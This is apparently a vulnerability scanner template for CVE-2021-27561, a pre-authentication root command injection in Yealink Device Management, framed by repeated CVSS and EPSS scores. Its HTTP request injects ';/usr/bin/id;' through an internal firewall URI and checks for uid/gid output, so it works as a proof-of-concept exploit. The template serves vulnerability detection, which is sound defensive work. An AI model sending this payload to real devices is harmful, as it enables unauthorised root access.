9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%
Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
id: CVE-2021-27561
info:
name: YeaLink DM 3.6.0.20 - Remote Command Injection
author: shifacyclewala,hackergautam
severity: critical
description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
remediation: |
Update to the latest firmware version provided by the vendor to mitigate this vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
- https://ssd-disclosure.com/?p=4688
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27561
cwe-id: CWE-78
epss-score: 0.97434
epss-percentile: 0.99939
cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: yealink
product: device_management
tags: cve2021,cve,rce,yealink,mirai,kev
http:
- method: GET
path:
- "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'uid'
- 'gid'
- 'groups'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# digest: 4a0a00473045022100e84f3b6f3b4431895a29b93f5706225e723a3306c1a1fba02583aeacd7fd802f02200c4f466848e8a98fdcc690f9d5d193830228d10b8759a412ce478da775f757dc:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%